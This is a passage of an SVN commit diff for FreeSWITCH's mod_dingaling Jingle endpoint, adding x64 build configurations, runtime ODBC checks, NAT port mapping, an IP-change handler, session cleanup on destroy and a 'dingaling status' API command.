-		switch_find_local_ip(ip, sizeof(ip), AF_INET);
+		switch_find_local_ip(ip, sizeof(ip), NULL, AF_INET);
 
 		if ((tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
 																  NULL,

Property changes: freeswitch/branches/seven/src/mod/endpoints/mod_dingaling


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,7 +2,6 @@
 
 LOCAL_CFLAGS     = `$(BASE)/libs/apr/apr-1-config --cflags --cppflags --includes`
 LOCAL_CFLAGS    += `$(BASE)/libs/apr-util/apu-1-config --includes`
-LOCAL_CFLAGS += `if test -f $(BASE)/.libs/libfreeswitch_la-switch_odbc.o ; then echo -DSWITCH_HAVE_ODBC; fi ;`
 #LOCAL_CFLAGS += -w
 
 IKS_DIR=$(BASE)/libs/iksemel

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/mod_dingaling.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/mod_dingaling.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/mod_dingaling.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libdingaling\src&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalOptions="/NODEFAULTLIB:LIMBCTD"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\libdingaling\$(OutDir)&quot;;&quot;$(InputDir)..\..\..\..\libs\iksemel\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -143,6 +213,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libdingaling\src&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\libdingaling\$(OutDir)&quot;;&quot;$(InputDir)..\..\..\..\libs\iksemel\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/mod_dingaling.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/mod_dingaling.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_dingaling/mod_dingaling.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_dingaling.c -- Jingle Endpoint Module
@@ -32,9 +32,6 @@
 #include <switch.h>
 #include <switch_stun.h>
 #include <libdingaling.h>
-#ifdef SWITCH_HAVE_ODBC
-#include <switch_odbc.h>
-#endif
 
 #define DL_CAND_WAIT 10000000
 #define DL_CAND_INITIAL_WAIT 2000000
@@ -107,7 +104,7 @@
 	switch_event_node_t *probe_node;
 	switch_event_node_t *out_node;
 	switch_event_node_t *roster_node;
-
+	int auto_nat;
 } globals;
 
 struct mdl_profile {
@@ -128,23 +125,17 @@
 	char *timer_name;
 	char *dbname;
 	char *avatar;
-#ifdef SWITCH_HAVE_ODBC
 	char *odbc_dsn;
 	char *odbc_user;
 	char *odbc_pass;
 	switch_odbc_handle_t *master_odbc;
-#else
-	void *filler1;
-	void *filler2;
-	void *filler3;
-	void *filler4;
-#endif
 	switch_mutex_t *mutex;
 	ldl_handle_t *handle;
 	uint32_t flags;
 	uint32_t user_flags;
 	char *acl[MAX_ACL];
 	uint32_t acl_count;
+	char *local_network;
 };
 typedef struct mdl_profile mdl_profile_t;
 
@@ -204,8 +195,10 @@
 SWITCH_STANDARD_API(dl_logout);
 SWITCH_STANDARD_API(dl_pres);
 SWITCH_STANDARD_API(dl_debug);
+SWITCH_STANDARD_API(dingaling);
 static switch_status_t channel_on_init(switch_core_session_t *session);
 static switch_status_t channel_on_hangup(switch_core_session_t *session);
+static switch_status_t channel_on_destroy(switch_core_session_t *session);
 static switch_status_t channel_on_routing(switch_core_session_t *session);
 static switch_status_t channel_on_exchange_media(switch_core_session_t *session);
 static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
@@ -271,31 +264,25 @@
 	if (mutex) {
 		switch_mutex_lock(mutex);
 	}
-#ifdef SWITCH_HAVE_ODBC
-	if (profile->odbc_dsn) {
-		SQLHSTMT stmt;
+
+	if (switch_odbc_available() && profile->odbc_dsn) {
+		switch_odbc_statement_handle_t stmt;
 		if (switch_odbc_handle_exec(profile->master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
 			char *err_str;
 			err_str = switch_odbc_handle_get_error(profile->master_odbc, stmt);
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ERR: [%s]\n[%s]\n", sql, switch_str_nil(err_str));
 			switch_safe_free(err_str);
 		}
-		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
+		switch_odbc_statement_handle_free(&stmt);
 	} else {
-#endif
 		if (!(db = switch_core_db_open_file(profile->dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", profile->dbname);
 			goto end;
 		}
-
 		switch_core_db_persistant_execute(db, sql, 1);
 		switch_core_db_close(db);
-
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
-
   end:
 	if (mutex) {
 		switch_mutex_unlock(mutex);
@@ -314,20 +301,13 @@
 		switch_mutex_lock(mutex);
 	}
 
-#ifdef SWITCH_HAVE_ODBC
-	if (profile->odbc_dsn) {
+	if (switch_odbc_available() && profile->odbc_dsn) {
 		switch_odbc_handle_callback_exec(profile->master_odbc, sql, callback, pdata);
 	} else {
-#endif
-
-
-
 		if (!(db = switch_core_db_open_file(profile->dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", profile->dbname);
 			goto end;
 		}
-
-
 		switch_core_db_exec(db, sql, callback, pdata, &errmsg);
 
 		if (errmsg) {
@@ -338,21 +318,15 @@
 		if (db) {
 			switch_core_db_close(db);
 		}
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
-
   end:
 
 	if (mutex) {
 		switch_mutex_unlock(mutex);
 	}
 
-
-
 	return ret;
-
 }
 
 static int sub_callback(void *pArg, int argc, char **argv, char **columnNames)
@@ -604,6 +578,34 @@
 
 }
 
+static void ipchanged_event_handler(switch_event_t *event)
+{
+	const char *cond = switch_event_get_header(event, "condition");
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "EVENT_TRAP: IP change detected\n");
+
+	if (cond && !strcmp(cond, "network-address-change")) {
+		const char *old_ip4 = switch_event_get_header_nil(event, "network-address-previous-v4");
+		const char *new_ip4 = switch_event_get_header_nil(event, "network-address-change-v4");
+		switch_hash_index_t *hi;
+		void *val;
+		char *tmp;
+		mdl_profile_t *profile;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "IP change detected [%s]->[%s]\n", old_ip4, new_ip4);
+		if (globals.profile_hash) {
+			for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+				switch_hash_this(hi, NULL, NULL, &val);
+				profile = (mdl_profile_t *) val;
+				if (old_ip4 && !strcmp(profile->extip, old_ip4)) {
+					tmp = profile->extip;
+					profile->extip = strdup(new_ip4);
+					switch_safe_free(tmp);
+				}
+			}
+		}
+	}
+}
+
 static int so_callback(void *pArg, int argc, char **argv, char **columnNames)
 {
 	mdl_profile_t *profile = (mdl_profile_t *) pArg;
@@ -797,7 +799,7 @@
 	ldl_handle_run(handle);
 	switch_clear_flag(profile, TFLAG_IO);
 	globals.handles--;
-	ldl_handle_destroy(&handle);
+	ldl_handle_destroy(&profile->handle);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handle %s [%s] Destroyed\n", profile->name, profile->login);
 
 	return NULL;
@@ -868,16 +870,27 @@
 	switch_core_session_set_read_codec(tech_pvt->session, &tech_pvt->read_codec);
 	switch_core_session_set_write_codec(tech_pvt->session, &tech_pvt->write_codec);
 
+	if(globals.auto_nat && tech_pvt->profile->local_network && 
+	   !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
+		switch_port_t external_port = 0;
+		switch_nat_add_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
+		tech_pvt->local_port = external_port;
+	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SETUP RTP %s:%d -> %s:%d\n", tech_pvt->profile->ip,
 					  tech_pvt->local_port, tech_pvt->remote_ip, tech_pvt->remote_port);
 
 	flags = SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_GOOGLEHACK | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_RAW_WRITE | SWITCH_RTP_FLAG_AUTO_CNG;
+	
 
 	if (switch_test_flag(tech_pvt->profile, TFLAG_TIMER)) {
 		flags |= SWITCH_RTP_FLAG_USE_TIMER;
 	}
 
+	if (switch_true(switch_channel_get_variable(channel, "disable_rtp_auto_adjust"))) {
+		flags &= ~SWITCH_RTP_FLAG_AUTOADJ;
+	}
+
 	if (!(tech_pvt->rtp_session = switch_rtp_new(tech_pvt->profile->ip,
 												 tech_pvt->local_port,
 												 tech_pvt->remote_ip,
@@ -1070,7 +1083,7 @@
 
 	switch_set_flag_locked(tech_pvt, TFLAG_IO);
 
-	started = switch_timestamp_now();
+	started = switch_micro_time_now();
 
 	/* jingle has no ringing indication so we will just pretend that we got one */
 	switch_core_session_queue_indication(session, SWITCH_MESSAGE_INDICATE_RINGING);
@@ -1088,10 +1101,10 @@
 			 switch_test_flag(tech_pvt, TFLAG_RTP_READY) &&
 			 switch_test_flag(tech_pvt, TFLAG_ANSWER) && switch_test_flag(tech_pvt, TFLAG_TRANSPORT_ACCEPT) &&
 			 tech_pvt->remote_ip && tech_pvt->remote_port && switch_test_flag(tech_pvt, TFLAG_TRANSPORT))) {
-		now = switch_timestamp_now();
+		now = switch_micro_time_now();
 		elapsed = (unsigned int) ((now - started) / 1000);
 
-		if (switch_channel_get_state(channel) >= CS_HANGUP || switch_test_flag(tech_pvt, TFLAG_BYE)) {
+		if (switch_channel_down(channel) || switch_test_flag(tech_pvt, TFLAG_BYE)) {
 			goto out;
 		}
 
@@ -1119,7 +1132,7 @@
 		switch_cond_next();
 	}
 
-	if (switch_channel_get_state(channel) >= CS_HANGUP || switch_test_flag(tech_pvt, TFLAG_BYE)) {
+	if (switch_channel_down(channel) || switch_test_flag(tech_pvt, TFLAG_BYE)) {
 		goto out;
 	}
 
@@ -1131,7 +1144,9 @@
 		if (!do_candidates(tech_pvt, 0)) {
 			goto out;
 		}
-		switch_channel_answer(channel);
+		if (switch_test_flag(tech_pvt, TFLAG_TRANSPORT_ACCEPT)) {
+			switch_channel_answer(channel);
+		}
 	}
 	ret = SWITCH_STATUS_SUCCESS;
 
@@ -1200,6 +1215,38 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+static switch_status_t channel_on_destroy(switch_core_session_t *session)
+{
+	//switch_channel_t *channel = switch_core_session_get_channel(session);
+	struct private_object *tech_pvt = NULL;
+
+	tech_pvt = switch_core_session_get_private(session);
+
+	if (tech_pvt) {
+		if (tech_pvt->rtp_session) {
+			switch_rtp_destroy(&tech_pvt->rtp_session);
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NUKE RTP\n");
+			tech_pvt->rtp_session = NULL;
+		}
+
+		if(globals.auto_nat && tech_pvt->profile->local_network && 
+		   !switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) {
+			switch_nat_del_mapping((switch_port_t)tech_pvt->local_port, SWITCH_NAT_UDP);
+		}
+
+		if (switch_core_codec_ready(&tech_pvt->read_codec)) {
+			switch_core_codec_destroy(&tech_pvt->read_codec);
+		}
+
+		if (switch_core_codec_ready(&tech_pvt->write_codec)) {
+			switch_core_codec_destroy(&tech_pvt->write_codec);
+		}
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
 static switch_status_t channel_on_hangup(switch_core_session_t *session)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
@@ -1231,20 +1278,6 @@
 		ldl_session_destroy(&tech_pvt->dlsession);
 	}
 
-	if (tech_pvt->rtp_session) {
-		switch_rtp_destroy(&tech_pvt->rtp_session);
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NUKE RTP\n");
-		tech_pvt->rtp_session = NULL;
-	}
-
-	if (tech_pvt->read_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->read_codec);
-	}
-
-	if (tech_pvt->write_codec.implementation) {
-		switch_core_codec_destroy(&tech_pvt->write_codec);
-	}
-
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n", switch_channel_get_name(channel));
 
 	return SWITCH_STATUS_SUCCESS;
@@ -1340,7 +1373,7 @@
 
 #if 0
 	if (tech_pvt->last_read) {
-		elapsed = (unsigned int) ((switch_timestamp_now() - tech_pvt->last_read) / 1000);
+		elapsed = (unsigned int) ((switch_micro_time_now() - tech_pvt->last_read) / 1000);
 		if (elapsed > 60000) {
 			return SWITCH_STATUS_TIMEOUT;
 		}
@@ -1368,7 +1401,7 @@
 			payload = tech_pvt->read_frame.payload;
 
 #if 0
-			elapsed = (unsigned int) ((switch_timestamp_now() - started) / 1000);
+			elapsed = (unsigned int) ((switch_micro_time_now() - started) / 1000);
 
 			if (timeout > -1) {
 				if (elapsed >= (unsigned int) timeout) {
@@ -1376,7 +1409,7 @@
 				}
 			}
 
-			elapsed = (unsigned int) ((switch_timestamp_now() - last_act) / 1000);
+			elapsed = (unsigned int) ((switch_micro_time_now() - last_act) / 1000);
 			if (elapsed >= hard_timeout) {
 				return SWITCH_STATUS_BREAK;
 			}
@@ -1433,7 +1466,7 @@
 		}
 	}
 
-	if (!tech_pvt->read_codec.implementation) {
+	if (!switch_core_codec_ready(&tech_pvt->read_codec) || !tech_pvt->read_codec.implementation) {
 		return SWITCH_STATUS_GENERR;
 	}
 
@@ -1547,7 +1580,13 @@
 	/*.on_execute */ channel_on_execute,
 	/*.on_hangup */ channel_on_hangup,
 	/*.on_exchange_media */ channel_on_exchange_media,
-	/*.on_soft_execute */ channel_on_soft_execute
+	/*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media*/ NULL,
+    /*.on_hibernate*/ NULL,
+    /*.on_reset*/ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy
 };
 
 switch_io_routines_t dingaling_io_routines = {
@@ -1569,7 +1608,7 @@
 													switch_caller_profile_t *outbound_profile,
 													switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
 {
-	if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, pool)) != 0) {
+	if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
 		struct private_object *tech_pvt;
 		switch_channel_t *channel;
 		switch_caller_profile_t *caller_profile = NULL;
@@ -1748,6 +1787,8 @@
 	switch_api_interface_t *api_interface;
 
 	module_pool = pool;
+	
+	memset(&globals, 0, sizeof(globals));
 
 	load_config();
 
@@ -1787,6 +1828,12 @@
 		return SWITCH_STATUS_GENERR;
 	}
 
+	if (switch_event_bind(modname, SWITCH_EVENT_TRAP, SWITCH_EVENT_SUBCLASS_ANY, ipchanged_event_handler, NULL) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
+	
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 	dingaling_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
@@ -1796,13 +1843,15 @@
 
 #define PRES_SYNTAX "dl_pres <profile_name>"
 #define LOGOUT_SYNTAX "dl_logout <profile_name>"
-#define LOGIN_SYNTAX "dl_login <profile_name>"
+#define LOGIN_SYNTAX "Existing Profile:\ndl_login profile=<profile_name>\nDynamic Profile:\ndl_login var1=val1;var2=val2;varN=valN\n"
 #define DEBUG_SYNTAX "dl_debug [true|false]"
+#define DINGALING_SYNTAX "dingaling [status]"
 
 	SWITCH_ADD_API(api_interface, "dl_debug", "DingaLing Debug", dl_debug, DEBUG_SYNTAX);
 	SWITCH_ADD_API(api_interface, "dl_pres", "DingaLing Presence", dl_pres, PRES_SYNTAX);
 	SWITCH_ADD_API(api_interface, "dl_logout", "DingaLing Logout", dl_logout, LOGOUT_SYNTAX);
 	SWITCH_ADD_API(api_interface, "dl_login", "DingaLing Login", dl_login, LOGIN_SYNTAX);
+	SWITCH_ADD_API(api_interface, "dingaling", "DingaLing Menu", dingaling, DINGALING_SYNTAX);
 	SWITCH_ADD_CHAT(chat_interface, MDL_CHAT_PROTO, chat_send);
 
 	/* indicate that the module should continue to be loaded */
@@ -1830,7 +1879,13 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
 						  "Invalid Profile\n" "login[%s]\n" "pass[%s]\n" "dialplan[%s]\n"
 						  "message[%s]\n" "rtp-ip[%s]\n" "name[%s]\n" "exten[%s]\n",
-						  profile->login, profile->password, profile->dialplan, profile->message, profile->ip, profile->name, profile->exten);
+						  switch_str_nil(profile->login), 
+						  switch_str_nil(profile->password), 
+						  switch_str_nil(profile->dialplan), 
+						  switch_str_nil(profile->message), 
+						  switch_str_nil(profile->ip), 
+						  switch_str_nil(profile->name), 
+						  switch_str_nil(profile->exten));
 
 		return SWITCH_STATUS_FALSE;
 	}
@@ -1866,10 +1921,11 @@
 	if (globals.running) {
 		int x = 0;
 		globals.running = 0;
+		ldl_global_terminate();
 		while (globals.handles > 0) {
 			switch_yield(100000);
 			x++;
-			if (x > 10) {
+			if (x > 100) {
 				break;
 			}
 		}
@@ -1889,6 +1945,11 @@
 
 
 	switch_core_hash_destroy(&globals.profile_hash);
+
+	switch_safe_free(globals.dialplan);
+	switch_safe_free(globals.codec_string);
+	switch_safe_free(globals.codec_rates_string);	
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -1905,18 +1966,17 @@
 	} else if (!strcasecmp(var, "avatar")) {
 		profile->avatar = switch_core_strdup(module_pool, val);
 	} else if (!strcasecmp(var, "odbc-dsn") && !switch_strlen_zero(val)) {
-#ifdef SWITCH_HAVE_ODBC
-		profile->odbc_dsn = switch_core_strdup(module_pool, val);
-		if ((profile->odbc_user = strchr(profile->odbc_dsn, ':'))) {
-			*profile->odbc_user++ = '\0';
-			if ((profile->odbc_pass = strchr(profile->odbc_user, ':'))) {
-				*profile->odbc_pass++ = '\0';
+		if (switch_odbc_available()) {
+			profile->odbc_dsn = switch_core_strdup(module_pool, val);
+			if ((profile->odbc_user = strchr(profile->odbc_dsn, ':'))) {
+				*profile->odbc_user++ = '\0';
+				if ((profile->odbc_pass = strchr(profile->odbc_user, ':'))) {
+					*profile->odbc_pass++ = '\0';
+				}
 			}
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
 		}
-
-#else
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
 	} else if (!strcasecmp(var, "use-rtp-timer") && switch_true(val)) {
 		switch_set_flag(profile, TFLAG_TIMER);
 	} else if (!strcasecmp(var, "dialplan") && !switch_strlen_zero(val)) {
@@ -1929,10 +1989,22 @@
 		profile->name = switch_core_strdup(module_pool, val);
 	} else if (!strcasecmp(var, "message") && !switch_strlen_zero(val)) {
 		profile->message = switch_core_strdup(module_pool, val);
+	} else if (!strcasecmp(var, "local-network-acl") && !switch_strlen_zero(val)) {
+		profile->local_network = switch_core_strdup(module_pool, val);
 	} else if (!strcasecmp(var, "rtp-ip")) {
 		profile->ip = switch_core_strdup(module_pool, strcasecmp(switch_str_nil(val), "auto") ? switch_str_nil(val) : globals.guess_ip);
 	} else if (!strcasecmp(var, "ext-rtp-ip")) {
-		profile->extip = switch_core_strdup(module_pool, strcasecmp(switch_str_nil(val), "auto") ? switch_str_nil(val) : globals.guess_ip);
+		char *ip = globals.guess_ip;
+		if (val && !strcasecmp(val, "auto-nat")) {
+			ip = globals.auto_nat ? switch_core_get_variable("nat_public_addr") : globals.guess_ip;
+		} else if (val && !strcasecmp(val, "auto")) {
+			globals.auto_nat = 0;
+			ip = globals.guess_ip;
+		} else {
+			globals.auto_nat = 0;
+			ip = switch_strlen_zero(val) ? globals.guess_ip : val;
+		}
+		profile->extip = switch_core_strdup(module_pool, ip);
 	} else if (!strcasecmp(var, "server") && !switch_strlen_zero(val)) {
 		profile->server = switch_core_strdup(module_pool, val);
 	} else if (!strcasecmp(var, "rtp-timer-name") && !switch_strlen_zero(val)) {
@@ -2038,9 +2110,11 @@
 		return SWITCH_STATUS_SUCCESS;
 	}
 
-	if ((profile = switch_core_hash_find(globals.profile_hash, cmd))) {
+	if (((profile = switch_core_hash_find(globals.profile_hash, cmd))) && profile->handle) {
 		ldl_handle_stop(profile->handle);
 		stream->write_function(stream, "OK\n");
+	} else if (profile) {
+		stream->write_function(stream, "NOT LOGGED IN\n");
 	} else {
 		stream->write_function(stream, "NO SUCH PROFILE %s\n", cmd);
 	}
@@ -2048,21 +2122,71 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+SWITCH_STANDARD_API(dingaling)
+{
+	char *argv[10] = { 0 };
+	int argc = 0;
+	void *val;
+	char *myarg = NULL;
+	mdl_profile_t *profile = NULL;
+	switch_hash_index_t *hi;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+	if (session) return status;
+
+	if (switch_strlen_zero(cmd) || !(myarg = strdup(cmd))) {
+		stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if ((argc = switch_separate_string(myarg, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) != 1) {
+		stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
+		goto done;
+	}
+
+	if (argv[0] && !strncasecmp(argv[0], "status", 6)) {
+		stream->write_function(stream, "--DingaLing status--\n");
+		stream->write_function(stream, "login	|	connected\n");
+		for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+			switch_hash_this(hi, NULL, NULL, &val);
+			profile = (mdl_profile_t *) val;
+			stream->write_function(stream, "%s	|	", profile->login);
+			if (profile->handle && ldl_handle_authorized(profile->handle)){
+				stream->write_function(stream, "AUTHORIZED");
+			} else if (profile->handle && ldl_handle_connected(profile->handle)){
+				stream->write_function(stream, "CONNECTED");
+			} else {
+				stream->write_function(stream, "UNCONNECTED");
+			}
+			stream->write_function(stream, "\n");
+		}
+	} else {
+		stream->write_function(stream, "USAGE: %s\n", DINGALING_SYNTAX);
+	}
+
+done:
+	switch_safe_free(myarg);
+	return status;
+}
+
 SWITCH_STANDARD_API(dl_login)
 {
 	char *argv[10] = { 0 };
 	int argc = 0;
-	char *var, *val, *myarg;
+	char *var, *val, *myarg = NULL;
 	mdl_profile_t *profile = NULL;
 	int x;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
 
 	if (session) {
-		return SWITCH_STATUS_FALSE;
+		status = SWITCH_STATUS_FALSE;
+		goto done;
 	}
 
 	if (switch_strlen_zero(cmd)) {
 		stream->write_function(stream, "USAGE: %s\n", LOGIN_SYNTAX);
-		return SWITCH_STATUS_SUCCESS;
+		status = SWITCH_STATUS_SUCCESS;
+		goto done;
 	}
 
 	myarg = strdup(cmd);
@@ -2071,7 +2195,8 @@
 
 	if (switch_strlen_zero(cmd) || argc != 1) {
 		stream->write_function(stream, "USAGE: %s\n", LOGIN_SYNTAX);
-		return SWITCH_STATUS_SUCCESS;
+		status = SWITCH_STATUS_SUCCESS;
+		goto done;
 	}
 
 	if (argv[0] && !strncasecmp(argv[0], "profile=", 8)) {
@@ -2082,7 +2207,8 @@
 			if (switch_test_flag(profile, TFLAG_IO)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Profile already exists.\n");
 				stream->write_function(stream, "Profile already exists\n");
-				return SWITCH_STATUS_SUCCESS;
+				status = SWITCH_STATUS_SUCCESS;
+				goto done;
 			}
 
 		}
@@ -2104,9 +2230,10 @@
 	} else {
 		stream->write_function(stream, "FAIL\n");
 	}
+ done:
+	switch_safe_free(myarg);
 
-	return SWITCH_STATUS_SUCCESS;
-
+	return status;
 }
 
 static switch_status_t load_config(void)
@@ -2117,8 +2244,9 @@
 
 	memset(&globals, 0, sizeof(globals));
 	globals.running = 1;
+	globals.auto_nat = (switch_core_get_variable("nat_type") ? 1 : 0);
 
-	switch_find_local_ip(globals.guess_ip, sizeof(globals.guess_ip), AF_INET);
+	switch_find_local_ip(globals.guess_ip, sizeof(globals.guess_ip), NULL, AF_INET);
 
 	switch_core_hash_init(&globals.profile_hash, module_pool);
